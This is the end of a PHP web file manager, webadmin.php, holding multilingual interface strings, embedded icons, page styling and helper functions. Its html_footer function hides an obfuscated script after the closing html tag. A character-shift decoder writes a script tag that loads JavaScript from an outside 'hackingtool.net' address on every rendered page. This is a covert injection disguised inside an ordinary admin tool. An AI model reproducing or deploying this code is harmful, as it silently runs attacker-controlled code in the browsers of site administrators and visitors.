'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',
'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',
'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola göre',
'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kýsa yol',
'no_output' => 'çikti yok',
'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',
'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
);
case 'cs':
$date_format = 'd.m.y H:i:s';
return array(
'directory' => 'Adresář',
'file' => 'Soubor',
'filename' => 'Jméno souboru',
'size' => 'Velikost',
'permission' => 'Práva',
'owner' => 'Vlastník',
'group' => 'Skupina',
'other' => 'Ostatní',
'functions' => 'Funkce',
'read' => 'Čtení',
'write' => 'Zápis',
'execute' => 'Spouštění',
'create_symlink' => 'Vytvořit symbolický odkaz',
'delete' => 'Smazat',
'rename' => 'Přejmenovat',
'move' => 'Přesunout',
'copy' => 'Zkopírovat',
'edit' => 'Otevřít',
'download' => 'Stáhnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvořit',
'change' => 'Změnit',
'save' => 'Uložit',
'set' => 'Nastavit',
'reset' => 'zpět',
'relative' => 'Relatif',
'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpět',
'destination' => 'Destination',
'symlink' => 'Symbolický odkaz',
'no_output' => 'Prázdný výstup',
'user' => 'Uživatel',
'password' => 'Heslo',
'add' => 'Přidat',
'add_basic_auth' => 'přidej základní autentizaci',
'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
'already_exists' => 'Soubor "[%1]" už exituje.',
'created' => 'Soubor "[%1]" byl vytvořen.',
'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazány tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
'rename_file' => 'Přejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
'move_files' => 'Přemístit tyto soubory:',
'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopírovat tyto soubory:',
'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
'saved' => 'Soubor "[%1]" byl uložen.',
'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
'permission_for' => 'Práva k "[%1]":',
'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
'not_readable' => 'Soubor "[%1]" není možno přečíst.'
);
case 'ru':
$date_format = 'd.m.y H:i:s';
return array(
'directory' => 'Каталог',
'file' => 'Файл',
'filename' => 'Имя файла',
'size' => 'Размер',
'permission' => 'Права',
'owner' => 'Хозяин',
'group' => 'Группа',
'other' => 'Другие',
'functions' => 'Функция',
'read' => 'читать',
'write' => 'писать',
'execute' => 'выполнить',
'create_symlink' => 'Сделать симлинк',
'delete' => 'удалить',
'rename' => 'переименовать',
'move' => 'передвинуть',
'copy' => 'копировать',
'edit' => 'редактировать',
'download' => 'скачать',
'upload' => 'закачать',
'create' => 'сделать',
'change' => 'поменять',
'save' => 'сохранить',
'set' => 'установить',
'reset' => 'сбросить',
'relative' => 'относительный путь к цели',
'yes' => 'да',
'no' => 'нет',
'back' => 'назад',
'destination' => 'цель',
'symlink' => 'символический линк',
'no_output' => 'нет вывода',
'user' => 'Пользователь',
'password' => 'Пароль',
'add' => 'добавить',
'add_basic_auth' => 'Добавить HTTP-Basic-Auth',
'uploaded' => '"[%1]" был закачен.',
'not_uploaded' => '"[%1]" невозможно было закачять.',
'already_exists' => '"[%1]" уже существует.',
'created' => '"[%1]" был сделан.',
'not_created' => '"[%1]" не возможно сделать.',
'really_delete' => 'Действительно этот файл удалить?',
'deleted' => "Следующие файлы были удалены:\n[%1]",
'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]",
'rename_file' => 'Переименовываю файл:',
'renamed' => '"[%1]" был переименован на "[%2]".',
'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".',
'move_files' => 'Передвигаю следующие файлы:',
'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]",
'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]",
'copy_files' => 'Копирую следущие файлы:',
'copied' => "Следущие файлы былы скопированы в каталог \"[%2]\" :\n[%1]",
'not_copied' => "Следующие файлы невозможно было скопировать в каталог \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" не может быть отредактирован.',
'executed' => "\"[%1]\" был успешно исполнен:\n{%2}",
'not_executed' => "\"[%1]\" невозможно было запустить на исполнение:\n{%2}",
'saved' => '"[%1]" был сохранен.',
'not_saved' => '"[%1]" невозможно было сохранить.',
'symlinked' => 'Симлинк с "[%2]" на "[%1]" был сделан.',
'not_symlinked' => 'Невозможно было сделать симлинк с "[%2]" на "[%1]".',
'permission_for' => 'Права доступа "[%1]":',
'permission_set' => 'Права доступа "[%1]" были изменены на [%2].',
'permission_not_set' => 'Невозможно было изменить права доступа к "[%1]" на [%2] .',
'not_readable' => '"[%1]" невозможно прочитать.'
);
case 'pl':
$date_format = 'd.m.y H:i:s';
return array(
'directory' => 'Katalog',
'file' => 'Plik',
'filename' => 'Nazwa pliku',
'size' => 'Rozmiar',
'permission' => 'Uprawnienia',
'owner' => 'Właściciel',
'group' => 'Grupa',
'other' => 'Inni',
'functions' => 'Funkcje',
'read' => 'odczyt',
'write' => 'zapis',
'execute' => 'wykonywanie',
'create_symlink' => 'utwórz dowiązanie symboliczne',
'delete' => 'kasuj',
'rename' => 'zamień',
'move' => 'przenieś',
'copy' => 'kopiuj',
'edit' => 'edytuj',
'download' => 'pobierz',
'upload' => 'Prześlij',
'create' => 'Utwórz',
'change' => 'Zmień',
'save' => 'Zapisz',
'set' => 'wykonaj',
'reset' => 'wyczyść',
'relative' => 'względna ścieżka do celu',
'yes' => 'Tak',
'no' => 'Nie',
'back' => 'cofnij',
'destination' => 'miejsce przeznaczenia',
'symlink' => 'dowiązanie symboliczne',
'no_output' => 'nie ma wyjścia',
'user' => 'Urzytkownik',
'password' => 'Hasło',
'add' => 'dodaj',
'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie',
'uploaded' => '"[%1]" został przesłany.',
'not_uploaded' => '"[%1]" nie może być przesłane.',
'already_exists' => '"[%1]" już istnieje.',
'created' => '"[%1]" został utworzony.',
'not_created' => '"[%1]" nie można utworzyć.',
'really_delete' => 'usunąć te pliki?',
'deleted' => "Pliki zostały usunięte:\n[%1]",
'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]",
'rename_file' => 'Zmień nazwę pliku:',
'renamed' => '"[%1]" zostało zmienione na "[%2]".',
'not_renamed' => '"[%1] nie można zmienić na "[%2]".',
'move_files' => 'Przenieś te pliki:',
'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]",
'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]",
'copy_files' => 'Skopiuj te pliki:',
'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]",
'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" nie można edytować.',
'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{%2}",
'not_executed' => "\"[%1]\" nie może być wykonane:\n{%2}",
'saved' => '"[%1]" został zapisany.',
'not_saved' => '"[%1]" nie można zapisać.',
'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.',
'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.',
'permission_for' => 'Uprawnienia "[%1]":',
'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].',
'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].',
'not_readable' => '"[%1]" nie można odczytać.'
);
case 'en':
default:
$date_format = 'n/j/y H:i:s';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',
'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',
'read' => 'read',
'write' => 'write',
'execute' => 'execute',
'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',
'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
);
}
}
function getimage ($image) {
switch ($image) {
case 'file':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'folder':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
case 'hidden_file':
return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'link':
return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
case 'smiley':
return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
case 'arrow':
return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
}
}
function html_header () {
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer () {
echo <<<END
</body>
</html>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>
END;
}
function notice ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
?>